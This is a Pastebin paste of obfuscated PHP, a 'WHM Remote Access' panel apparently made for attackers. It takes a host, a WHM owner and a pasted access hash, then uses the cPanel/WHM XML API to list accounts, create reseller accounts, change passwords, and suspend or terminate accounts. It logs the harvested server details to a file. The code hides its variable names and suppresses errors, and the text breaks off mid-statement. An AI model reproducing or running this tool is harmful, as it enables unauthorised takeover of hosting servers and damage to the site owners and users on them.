Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(0);
- @ini_set('log_errors',0);
- @ini_set('display_errors',0);
- $nama = 'azzatssins';
- $ {
- "GLOBALS"
- }
- ["rshhhhzdjivn"] = "hostname";
- $ {
- "GLOBALS"
- }
- ["qybmmyvo"] = "dm5";
- $ {
- "GLOBALS"
- }
- ["cgdqizbjb"] = "infomail";
- $ {
- "GLOBALS"
- }
- ["ugwdatuetm"] = "httpheaders";
- $ {
- "GLOBALS"
- }
- ["jmossxbfynir"] = "frommail";
- $ {
- "GLOBALS"
- }
- ["buubgbf"] = "tomail";
- $ {
- "GLOBALS"
- }
- ["tfoqdtkoozl"] = "httpheader";
- $ {
- "GLOBALS"
- }
- ["gkfjmmp"] = "info";
- $ {
- "GLOBALS"
- }
- ["htlxwjkdfnbx"] = "subject";
- $ {
- "GLOBALS"
- }
- ["wyuvccqfyby"] = "emailente";
- $ {
- "GLOBALS"
- }
- ["yhcbrtqybhn"] = "tujuan";
- $ {
- "GLOBALS"
- }
- ["epyufhqui"] = "sep";
- $ {
- "GLOBALS"
- }
- ["klnlsxvu"] = "dm1";
- $ {
- "GLOBALS"
- }
- ["mgzcndyuozix"] = "dm4";
- $ {
- "GLOBALS"
- }
- ["bgyfsievqc"] = "dm3";
- $ {
- "GLOBALS"
- }
- ["cnpybqg"] = "dm2";
- $ {
- "GLOBALS"
- }
- ["cemjvape"] = "II11II11II11II11";
- $ {
- "GLOBALS"
- }
- ["tttkddsbp"] = "version";
- $ {
- "GLOBALS"
- }
- ["jqstuo"] = "bawah";
- $ {
- "GLOBALS"
- }
- ["rrbcihfi"] = "separator";
- $ {
- "GLOBALS"
- }
- ["lqfwxtwbjz"] = "hash";
- $ {
- "GLOBALS"
- }
- ["cntvmeburrl"] = "virgous";
- $ {
- "GLOBALS"
- }
- ["ejmlkkd"] = "i";
- $ {
- "GLOBALS"
- }
- ["rwocuxf"] = "result";
- $ {
- "GLOBALS"
- }
- ["sxeebm"] = "item";
- $ {
- "GLOBALS"
- }
- ["ppujmk"] = "element";
- $ {
- "GLOBALS"
- }
- ["kwsayld"] = "list";
- $ {
- "GLOBALS"
- }
- ["sqbtmnd"] = "xml";
- $ {
- "GLOBALS"
- }
- ["zmibinpgipr"] = "xmlstr";
- $ {
- "GLOBALS"
- }
- ["ltwtigrphxuo"] = "rawResult";
- $ {
- "GLOBALS"
- }
- ["nsqdbsct"] = "header";
- $ {
- "GLOBALS"
- }
- ["fughgfkrc"] = "api_path";
- $ {
- "GLOBALS"
- }
- ["xiykwn"] = "errstr";
- $ {
- "GLOBALS"
- }
- ["lvnrwks"] = "accessHash";
- $ {
- "GLOBALS"
- }
- ["gueuhqn"] = "user";
- ?>
- <html>
- <head>
- <title>WHM Remote Access</title>
- <meta name="description" content="remote access whm" />
- <meta name="description" content="accesswhmusingxmlapi" />
- <meta name="keywords" content="remoteaccesswhm"/>
- <meta name="keywords"content = "access whm using xml api"/>
- </head>
- <body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-repeat: repeat; background-position: center; background-attachment: fixed;">
- <STYLE>
- textarea{
- BORDER: dashed 1px blue;
- BORDER-COLOR: blue;
- background-image: url('http://i.imgur.com/zHNCk2e.gif');
- font: 5pt Verdana;
- color: lime;
- font-weight:bold;
- font-family: Tahoma;
- }
- body {
- font-family: Tahoma
- }
- tr {
- BORDER: dashed 1px #333;
- font: 5pt Verdana;
- color: #FFF;
- }
- td {
- BORDER: dashed 1px #333;
- font: 5pt Verdana;
- color: #FFF;
- }
- .tr2 {
- BORDER: dashed 1px blue;
- background-color: black;
- font: 5pt Verdana;
- color: #FFF;
- }
- .td2 {
- BORDER: dashed 1px blue;
- background-color: black;
- font: 5pt Verdana;
- color: #FFF;
- }
- hr {
- BORDER: dashed 1px blue;
- color: #FFF;
- }
- .table1 {
- BORDER: 0px Black;
- BACKGROUND-COLOR: Black;
- font: 5pt Verdana;
- color: #FFF;
- }
- .td1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- font: 5pt Verdana;
- color: white;
- }
- .tr1 {
- BORDER: 0px;
- BORDER-COLOR: #333333;
- font: 5pt Verdana;
- color: #FFF;
- }
- table {
- BORDER: dashed 2px blue;
- BORDER-COLOR: blue;
- font: 5pt Verdana;
- color: #FFF;
- }
- input {
- border : dashed 1px;
- border-color : blue;
- BACKGROUND-COLOR: Black;
- font: 5pt Verdana;
- color: white;
- }
- select {
- BORDER-RIGHT: Black 1px solid;
- BORDER-TOP: #DF0000 1px solid;
- BORDER-LEFT: #DF0000 1px solid;
- BORDER-BOTTOM: Black 1px solid;
- BORDER-color: #FFF;
- BACKGROUND-COLOR: Black;
- font: 5pt Verdana;
- color: white;
- }
- submit {
- BORDER: buttonhighlight 2px outset;
- BACKGROUND-COLOR: Black;
- width: 30%;
- font: 5pt Verdana;
- color: #FFF;
- }
- BODY {
- SCROLLBAR-FACE-COLOR: Black;
- SCROLLBAR-HIGHLIGHT-color: #FFF;
- SCROLLBAR-SHADOW-color: #FFF;
- SCROLLBAR-3DLIGHT-color: #FFF;
- SCROLLBAR-ARROW-COLOR: Black;
- SCROLLBAR-TRACK-color: #FFF;
- SCROLLBAR-DARKSHADOW-color: #FFF
- margin: 1px;
- color: Red;
- background-color: Black;
- }
- .main {
- margin: -287px 0px 0px -490px;
- BORDER: dashed 1px #333;
- BORDER-COLOR: #333333;
- }
- .inputzbut{
- background-color:black;
- font: 5pt Verdana;
- color:white;
- margin:0px;
- colspan:0px;
- border:1px solid #444444;
- border-bottom:1px solid blue;
- border-top:1px solid blue;
- border-right:1px solid blue;
- border-left:1px solid blue;
- }
- .input2{
- background-color: black;
- color:white;
- font: 5pt Verdana;
- border:0px solid #444444;
- border-bottom:0px solid blue;
- border-top:0px solid blue;
- border-right:0px solid blue;
- border-left:0px solid blue;
- }
- .areazbut{
- background: black;
- font: 5pt Verdana;
- color:white;
- margin:0 4px;
- border:1px solid #444444;
- border-bottom:1px solid blue;
- border-top:1px solid blue;
- border-right:1px solid blue;
- border-left:1px solid blue;
- }
- .tt {
- background-color: Black;
- }
- .areaz {
- margin:auto;
- border:1px solid blue;
- width:80%;
- height:180px;
- background:#000000;
- padding:0 2px;
- }
- .areas {
- margin:auto;
- border:1px solid blue;
- width:100%;
- height:220px;
- background:#000000;
- padding:0 2px;
- }
- A.su {
- color: white;
- }
- A.su:link {
- text-decoration: none;
- color:red;
- }
- A.su:visited {
- text-decoration: none;
- color: red;
- }
- A.su:hover {
- text-decoration: underline;
- color: red;
- }
- A.su:active {
- text-decoration: none;
- color: red;
- }
- A.asu {
- color:yellow;
- }
- A.asu:link {
- text-decoration: none;
- color:yellow;
- }
- A.asu:visited {
- text-decoration: none;
- color:yellow;
- }
- A.asu:hover {
- text-decoration: underline;
- color:yellow;
- }
- A.asu:active {
- text-decoration: none;
- color: yellow;
- }
- A.asuu {
- color:lime;
- }
- A.asuu:link {
- text-decoration: none;
- color:lime;
- }
- A.asuu:visited {
- text-decoration: none;
- color:lime;
- }
- A.asuu:hover {
- text-decoration: underline;
- color:lime;
- }
- A.asuu:active {
- text-decoration: none;
- color:lime;
- }
- A:link {
- COLOR: White;
- TEXT-DECORATION: none
- }
- A:visited {
- COLOR: White;
- TEXT-DECORATION: none
- }
- A:hover {
- color: Red;
- TEXT-DECORATION: none
- }
- A:active {
- color: Red;
- TEXT-DECORATION: none
- }
- #result{margin:10px;}
- #result span{display:block;}
- #result .X{background-color:#101010;}
- #result .Y{background-color:green;}
- #result .Z{background-color:red;}
- a { text-decoration:none; }
- a:hover{ border-bottom:2px solid red; }
- *{ color:white; }
- #menu{ background:#111111;margin:8px 2px 4px 2px; }
- #menu a{ padding:4px 18px;
- margin:0;
- background:#black;
- text-decoration:none;
- letter-spacing:2px;
- border-radius: 4px;
- border-bottom:2px solid #444444;
- border-top:2px solid #444444;
- border-right:2px solid lime;
- border-left:2px solid lime;
- }
- #menu a:hover{
- background:#191919;
- border-radius: 7px;
- border-bottom:2px solid #white;
- border-top:2px solid #white;
- border-right:2px solid #FF0000;
- border-left:2px solid #FF0000;
- }
- .main { width:90%;
- background:#000000;
- margin:30px auto 10px;
- padding:10px 10px 5px 10px;
- border-radius:5px;
- -moz-border-radius:5px;
- -moz-box-shadow:0px 0px 10px #FFFFFF;
- }
- .output { margin:auto;
- border:1px solid red;
- width:100%;
- height:400px;
- background:#000000;
- padding:0 2px; }
- .b1{
- font-size:30px;padding:0;color:white;
- }
- .b2{
- font-size:40px;padding:0;color:red;
- }
- .b3{
- font-size:20px;padding:0;color:#444444;
- }
- .info{ background:#111111;
- width:99%;
- padding:5px;
- margin:10px auto 5px;
- text-align:center;
- font-size:13px;}
- .info a{ font-size:14px;}
- .info span{ font-size:14px;}
- .jaya{ margin:5px; text-align:right; }
- </style>
- </td></table></tr>
- </head>
- <center>
- <table border="1" width="100%"><tbody>
- <td>
- <center><p>
- <form method="GET">
- <input style="border : dashed 0px;"type="submit" name="azzatssins" value="WHM REMOTE ACCESS" id="button">
- </form>
- <form method="post" name="pageform" action="" onsubmit="return validate(this);">
- <p>
- <textarea rows="15" cols="38" name="vhash"></textarea>
- <p>
- <table border="1">
- <tr>
- <td align="center">
- Host Name
- </td>
- <td align="center">
- WHM Owner
- </td></tr>
- <td align="center">
- <input name="vhost" type="text" size="25" value=""></td>
- <td align="center">
- <input name="vuser" type="text"size="25" value="">
- </td></tr>
- <td colspan="2" align="center">
- <input name="azzatssins1" type="submit" value=" Info Hostname - WHM Version - Account - Package"></td></tr></table>
- </center>
- <br />
- </td>
- <td align="center"><br />
- <input type="submit" name="v2" value="Create Account" id="button"><br /><br/>
- <input type="submit" name="v3" value="Account Sumarry" id="button"><br /><br />
- <input type="submit" name="v4" value="Change Password" id="button"><br /><br />
- <input type="submit" name="v5" value="Suspend Account" id="button"><br /><br />
- <input type="submit"name="v6" value="Unsuspend Account" id="button"><br /><br />
- <input type="submit" name="v7" value="Terminate Account" id="button"><br /><br />
- </td>
- </tr>
- </form></tbody></table>
- <table border="1" width="100%">
- <tr><td align="center">
- <!-- start xml api -->
- <?php
- set_time_limit(1);error_reporting(1);ini_set("memory_limit","64M");header("Content-Type: text/html; charset=UTF-8");class Whm{var$controller=true;var$host=null;var$user=null;var$accessHash=null;var$errors=array();var$fp=null;function startup(&$controller){${"GLOBALS"}["bjabneswp"]="controller";$this->controller=&${${"GLOBALS"}["bjabneswp"]};}function init($host,$user,$accessHash){$this->host=$host;$this->user=${${"GLOBALS"}["gueuhqn"]};${${"GLOBALS"}["lvnrwks"]}=str_replace(array("
- ","
- "),"",${${"GLOBALS"}["lvnrwks"]});$this->accessHash=${${"GLOBALS"}["lvnrwks"]};}function connect($api_path){$pwrwkxx="errstr";$jxjnjhhffhhg="errno";$mobgrxe="errno";$ocsywwsfh="header";${"GLOBALS"}["npulqtw"]="header";$this->fp=fsockopen("ssl://".$this->host,2087,${$jxjnjhhffhhg},${$pwrwkxx},30);if(${$mobgrxe}==0&&$this->fp==false){$this->errors[]="Socket Error: Could not initialize socket.";return false;}elseif($this->fp==false){${"GLOBALS"}["ydhija"]="errno";$this->errors[]="Socket Error #".${${"GLOBALS"}["ydhija"]}.": ".${${"GLOBALS"}["xiykwn"]};return false;}$lirchk="header";$ikxgyddec="header";${$ikxgyddec}="";${$ocsywwsfh}.="GET ".${${"GLOBALS"}["fughgfkrc"]}." HTTP/1.0
- ";${${"GLOBALS"}["nsqdbsct"]}.="Host: ".$this->host."
- ";${$lirchk}.="Connection: Close
- ";${${"GLOBALS"}["nsqdbsct"]}.="Authorization: WHM ".$this->user.":".$this->accessHash."
- ";${${"GLOBALS"}["npulqtw"]}.="
- ";if(!@fputs($this->fp,${${"GLOBALS"}["nsqdbsct"]})){$this->errors[]="Unable to send header.";return false;}}function disconnect(){fclose($this->fp);}function getOutput(){$bwnxdryfqk="result";${"GLOBALS"}["bcgmchpujiui"]="rawResult";${"GLOBALS"}["pbiqulfirt"]="rawResultParts";$lukxqqrie="result";$umsdbbq="rawResult";${${"GLOBALS"}["bcgmchpujiui"]}="";${"GLOBALS"}["xxtvnpe"]="rawResultParts";while(!feof($this->fp)){${${"GLOBALS"}["ltwtigrphxuo"]}.=@fgets($this->fp,128);}${${"GLOBALS"}["xxtvnpe"]}=explode("
- ",${$umsdbbq});${$lukxqqrie}=${${"GLOBALS"}["pbiqulfirt"]}[1];return${$bwnxdryfqk};}function version(){$this->connect("/xml-api/version");${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});return$xml->version;}function gethostname(){$frzbhexw="xmlstr";$this->connect("/xml-api/gethostname");$mttfht="xmlstr";${$mttfht}=$this->getOutput();$kbewsugpk="xml";$hdcaeudhj="xmlstr";if(${$hdcaeudhj}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$kbewsugpk}=new SimpleXMLElement(${$frzbhexw});return$xml->hostname;}function listaccts(){${"GLOBALS"}["crvwckqlxh"]="xmlstr";$this->connect("/xml-api/listaccts");${"GLOBALS"}["wcrfjl"]="list";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();$eqksyigyu="xmlstr";$gsrvsafam="i";if(${${"GLOBALS"}["crvwckqlxh"]}==""){$this->errors[]="No output.";return false;}$sjwtvwj="list";$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new DOMDocument();$xml->loadXML(${$eqksyigyu});${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("user");${$gsrvsafam}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["user"]=$item->nodeValue;$xptvqyyhz="i";${$xptvqyyhz}++;}}$mhlrnwepg="element";${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("domain");${"GLOBALS"}["dkbptovxc"]="i";${${"GLOBALS"}["dkbptovxc"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["gnijdvt"]="i";$vnmpqxit="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["gnijdvt"]}]["domain"]=$item->nodeValue;${$vnmpqxit}++;}}${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("plan");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){$kgpxaihbbt="item";foreach($element->childNodes AS${$kgpxaihbbt}){$gznkditpwjv="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["package"]=$item->nodeValue;${$gznkditpwjv}++;}}${$sjwtvwj}=$xml->getElementsByTagName("unix_startdate");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["wcrfjl"]} AS${$mhlrnwepg}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["jnspmcrgop"]="i";$fdsrmhfo="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["jnspmcrgop"]}]["start_date"]=$item->nodeValue;${$fdsrmhfo}++;}}return${${"GLOBALS"}["rwocuxf"]};}function listPkgs(){$olbumfu="xml";${"GLOBALS"}["bhqjwy"]="xmlstr";$vkvqwmml="list";$this->connect("/xml-api/listpkgs");${"GLOBALS"}["pesngtvb"]="list";$oxhlzbad="element";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["bhqjwy"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$olbumfu}=new DOMDocument();$xml->loadXML(${${"GLOBALS"}["zmibinpgipr"]});${"GLOBALS"}["widejwlmsrbo"]="i";${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("name");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${$oxhlzbad}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["gljaytjur"]="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["gljaytjur"]}]["package_name"]=$item->nodeValue;${${"GLOBALS"}["ejmlkkd"]}++;}}${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("QUOTA");${"GLOBALS"}["oenwrsg"]="element";${${"GLOBALS"}["widejwlmsrbo"]}=0;foreach(${$vkvqwmml} AS${${"GLOBALS"}["oenwrsg"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["uusrhduy"]="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["package_quota"]=$item->nodeValue;${${"GLOBALS"}["uusrhduy"]}++;}}${"GLOBALS"}["vlgvletxhhl"]="list";${${"GLOBALS"}["vlgvletxhhl"]}=$xml->getElementsByTagName("BWLIMIT");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["pesngtvb"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["pspifihvqw"]="result";$inxltlyc="i";${${"GLOBALS"}["pspifihvqw"]}[${$inxltlyc}]["package_bw_limit"]=$item->nodeValue;${${"GLOBALS"}["ejmlkkd"]}++;}}return${${"GLOBALS"}["rwocuxf"]};}function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg){$vnxrfpopyezq="xml";$tybhaauxoko="xmlstr";${"GLOBALS"}["ohdlmvgirrg"]="xmlstr";$this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&ip=n&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=1");${$tybhaauxoko}=$this->getOutput();if(${${"GLOBALS"}["ohdlmvgirrg"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$vnxrfpopyezq}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->result->status==1){$mhcvech="result";${"GLOBALS"}["bhvgxqme"]="result";${${"GLOBALS"}["rwocuxf"]}["status"]=$xml->result->status;${$mhcvech}["statusmsg"]=$xml->result->statusmsg;$snkwgpps="result";${${"GLOBALS"}["rwocuxf"]}["ip"]=$xml->result->options->ip;${"GLOBALS"}["ulbbaopz"]="result";${${"GLOBALS"}["rwocuxf"]}["nameserver"]=$xml->result->options->nameserver;${"GLOBALS"}["qtgspvp"]="result";${"GLOBALS"}["lehyuj"]="result";${${"GLOBALS"}["ulbbaopz"]}["nameserver2"]=$xml->result->options->nameserver2;${${"GLOBALS"}["rwocuxf"]}["nameserver3"]=$xml->result->options->nameserver3;${${"GLOBALS"}["lehyuj"]}["nameserver4"]=$xml->result->options->nameserver4;${$snkwgpps}["package"]=$xml->result->options->package;${${"GLOBALS"}["qtgspvp"]}["rawout"]=$xml->result->rawout;return${${"GLOBALS"}["bhvgxqme"]};}else{$this->errors[]=$xml->result->statusmsg;return false;}}function accountsummary($accUser){$this->connect("/xml-api/accountsummary?user=$accUser");$dxoluomgdiq="xmlstr";${$dxoluomgdiq}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->status==1){$wagnskiph="result";$flimtqwawp="result";$nbdwembyxqc="result";$wmetitlano="result";${"GLOBALS"}["xvfubsjlhi"]="result";$pjtlsoucqgw="result";$yofnfnzn="result";${"GLOBALS"}["ucuajwylna"]="result";${${"GLOBALS"}["rwocuxf"]}["disklimit"]=$xml->acct->disklimit;${$yofnfnzn}["diskused"]=$xml->acct->diskused;${${"GLOBALS"}["xvfubsjlhi"]}["diskused"]=$xml->acct->diskused;${${"GLOBALS"}["ucuajwylna"]}["domain"]=$xml->acct->domain;$kshdodvotj="result";$euppkrpbjh="result";${$wmetitlano}["email"]=$xml->acct->email;${${"GLOBALS"}["rwocuxf"]}["ip"]=$xml->acct->ip;${$nbdwembyxqc}["owner"]=$xml->acct->owner;${$kshdodvotj}["partition"]=$xml->acct->partition;${$pjtlsoucqgw}["plan"]=$xml->acct->plan;${$flimtqwawp}["startdate"]=$xml->acct->startdate;${${"GLOBALS"}["rwocuxf"]}["theme"]=$xml->acct->theme;${$wagnskiph}["unix_startdate"]=$xml->acct->unix_startdate;${${"GLOBALS"}["rwocuxf"]}["user"]=$xml->acct->user;return${$euppkrpbjh};}else{$this->errors[]=$xml->statusmsg;return false;}}function passwd($accUser,$pass){$this->connect("/xml-api/passwd?user=$accUser&pass=$pass");${"GLOBALS"}["wglvvmwpi"]="xmlstr";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["wglvvmwpi"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->passwd->status==1){$nvlwga="result";${$nvlwga}["statusmsg"]=$xml->passwd->statusmsg;$pbaeyfpm="result";${${"GLOBALS"}["rwocuxf"]}["frontpage"]=$xml->passwd->frontpage;${${"GLOBALS"}["rwocuxf"]}["ftp"]=$xml->passwd->ftp;${${"GLOBALS"}["rwocuxf"]}["mail"]=$xml->passwd->mail;${$pbaeyfpm}["mysql"]=$xml->passwd->mysql;$jukasqwy="result";${$jukasqwy}["system"]=$xml->passwd->system;${${"GLOBALS"}["rwocuxf"]}["rawout"]=$xml->passwd->rawout;return${${"GLOBALS"}["rwocuxf"]};}else{$this->errors[]=$xml->passwd->statusmsg;return false;}}function suspend($acctUser,$reason){$this->connect("/xml-api/suspendacct?user=$acctUser&reason=$reason");${"GLOBALS"}["cbvdyhirx"]="xmlstr";${${"GLOBALS"}["cbvdyhirx"]}=$this->getOutput();${"GLOBALS"}["eefbbnasou"]="xmlstr";if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["eefbbnasou"]});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function unsuspend($acctUser){${"GLOBALS"}["qpibobj"]="xml";$ozhjsdvdr="xmlstr";${"GLOBALS"}["opgkdypxtr"]="xmlstr";$this->connect("/xml-api/unsuspendacct?user=$acctUser");${$ozhjsdvdr}=$this->getOutput();if(${${"GLOBALS"}["opgkdypxtr"]}==""){$this->errors[]="No output.";return false;}${"GLOBALS"}["kikvjsicxxr"]="xmlstr";$this->disconnect();${${"GLOBALS"}["qpibobj"]}=new SimpleXMLElement(${${"GLOBALS"}["kikvjsicxxr"]});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function terminate($acctUser,$keepDns=0){$this->connect("/xml-api/removeacct?user=$acctUser&keepdns=$keepDns");$rpqkyrwxi="xml";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$hrcbtoul="xmlstr";$this->disconnect();${$rpqkyrwxi}=new SimpleXMLElement(${$hrcbtoul});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function Email_listpopswithdisk($user,$domain){$this->connect("/xml-api/cpanel?user=$user&xmlin=<cpanelaction><module>Email</module><func>listpopswithdisk</func><args><domain>$domain</domain></args></cpanelaction>");${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();if(${${"GLOBALS"}["zmibinpgipr"]}){${"GLOBALS"}["fbpmmdp"]="xml";${"GLOBALS"}["jhvhyq"]="i";${"GLOBALS"}["kidztypdxg"]="entry";${${"GLOBALS"}["fbpmmdp"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});${${"GLOBALS"}["jhvhyq"]}=0;foreach($xml->data as${${"GLOBALS"}["kidztypdxg"]}){${"GLOBALS"}["uwaiveoz"]="i";${"GLOBALS"}["yyhyipij"]="result";$dpixyyosyqrr="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["domain"]=htmlentities((string)$entry->domain);$rbumtnfxhw="result";${"GLOBALS"}["ejworbchb"]="i";$dibkhouwi="i";${"GLOBALS"}["nwatxqwipeoa"]="result";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["user"]=htmlentities((string)$entry->user);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["login"]=htmlentities((string)$entry->login);${${"GLOBALS"}["yyhyipij"]}[${${"GLOBALS"}["uwaiveoz"]}]["email"]=htmlentities((string)$entry->email);$prtfqrgug="result";${$rbumtnfxhw}[${${"GLOBALS"}["ejworbchb"]}]["_diskquota"]=htmlentities((string)$entry->_diskquota);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["_diskused"]=htmlentities((string)$entry->_diskused);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskquota"]=htmlentities((string)$entry->diskquota);${${"GLOBALS"}["nwatxqwipeoa"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskused"]=htmlentities((string)$entry->diskused);$qlrukqug="i";${$prtfqrgug}[${$qlrukqug}]["diskusedpercent"]=htmlentities((string)$entry->diskusedpercent);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskusedpercent20"]=htmlentities((string)$entry->diskusedpercent20);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["humandiskquota"]=htmlentities((string)$entry->humandiskquota);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["humandiskused"]=htmlentities((string)$entry->humandiskused);${${"GLOBALS"}["rwocuxf"]}[${$dpixyyosyqrr}]["txtdiskquota"]=htmlentities((string)$entry->txtdiskquota);${$dibkhouwi}++;}$blgxedglu="result";return${$blgxedglu};}else{$this->errors[]="Some errors occured.";return false;}}function changepackage($accUser,$pkg){${"GLOBALS"}["ljgyaewqg"]="xmlstr";$this->connect("/xml-api/changepackage?user=$accUser&pkg=$pkg");${"GLOBALS"}["gqbupcfng"]="xml";${"GLOBALS"}["nyahhofyq"]="xmlstr";${${"GLOBALS"}["ljgyaewqg"]}=$this->getOutput();if(${${"GLOBALS"}["nyahhofyq"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["gqbupcfng"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->result->status==1){${"GLOBALS"}["sbattvvwe"]="result";$vytddtquyr="result";${"GLOBALS"}["camojrmsm"]="result";${${"GLOBALS"}["sbattvvwe"]}["statusmsg"]=$xml->result->statusmsg;${$vytddtquyr}["rawout"]=$xml->result->rawout;return${${"GLOBALS"}["camojrmsm"]};}else{$this->errors[]=$xml->result->statusmsg;return false;}}}
- ?>
- <!-- host name, cpanel/whm version, list account, list package -->
- <?php
- if(isset($_POST["azzatssins1"])){${"GLOBALS"}["stjkdu"]="separator";${"GLOBALS"}["xhwbwnfijuq"]="user";${"GLOBALS"}["uenhqacpp"]="user";$wfkgdiqx="II11II11II11II11";$mjhindj="plan";${$wfkgdiqx}=fopen("$filelog","a");$kxssfgmx="version";$uqvxbwlqq="II11II11II11II11";${${"GLOBALS"}["cntvmeburrl"]}=new whm;${"GLOBALS"}["spcfygm"]="list";${"GLOBALS"}["veqcgg"]="hostname";${${"GLOBALS"}["gueuhqn"]}=$_POST["vuser"];$sgayljaukjvl="hash";$host=$_POST["vhost"];${$sgayljaukjvl}=$_POST["vhash"];$virgous->init($host,${${"GLOBALS"}["uenhqacpp"]},${${"GLOBALS"}["lqfwxtwbjz"]});${${"GLOBALS"}["veqcgg"]}=$virgous->gethostname();echo"<h4>HOST NAME:</h4> $hostname <br>";$kymvmotsxf="II11II11II11II11";${$kxssfgmx}=$virgous->version();echo"<h4>CPANEL/WHM VERSION :</h4> $version <br>";$yoinlaphwf="II11II11II11II11";${${"GLOBALS"}["spcfygm"]}=$virgous->listaccts();echo"<h4>ACCOUNT LIST:</h4> $list <br><pre>";{print_r(${${"GLOBALS"}["kwsayld"]});}${$mjhindj}=$virgous->listPkgs();echo"</pre><h4>PACKAGE LIST:</h4> $plan <br><pre>";{$nhkzxwmdop="plan";print_r(${$nhkzxwmdop});}${${"GLOBALS"}["rrbcihfi"]}="=====================================================
- ";${${"GLOBALS"}["jqstuo"]}="
- ";fwrite(${$kymvmotsxf},${${"GLOBALS"}["stjkdu"]}."./azzatssins
- ".${${"GLOBALS"}["rrbcihfi"]});fwrite(${$yoinlaphwf},"CPANEL/WHM VERSION : ".${${"GLOBALS"}["tttkddsbp"]}."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"HOSTNAME : ".$host."
- ");fwrite(${${"GLOBALS"}["cemjvape"]},"WHM OWNER : ".${${"GLOBALS"}["xhwbwnfijuq"]}."
